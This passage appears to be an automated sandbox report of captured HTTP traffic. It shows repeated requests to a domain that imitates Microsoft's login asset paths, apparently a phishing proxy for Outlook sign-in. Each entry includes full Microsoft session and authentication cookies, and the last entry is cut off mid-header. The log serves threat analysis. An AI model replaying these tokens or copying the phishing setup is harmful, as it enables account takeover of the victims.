Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_2e62c59c862fb482c11d.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; 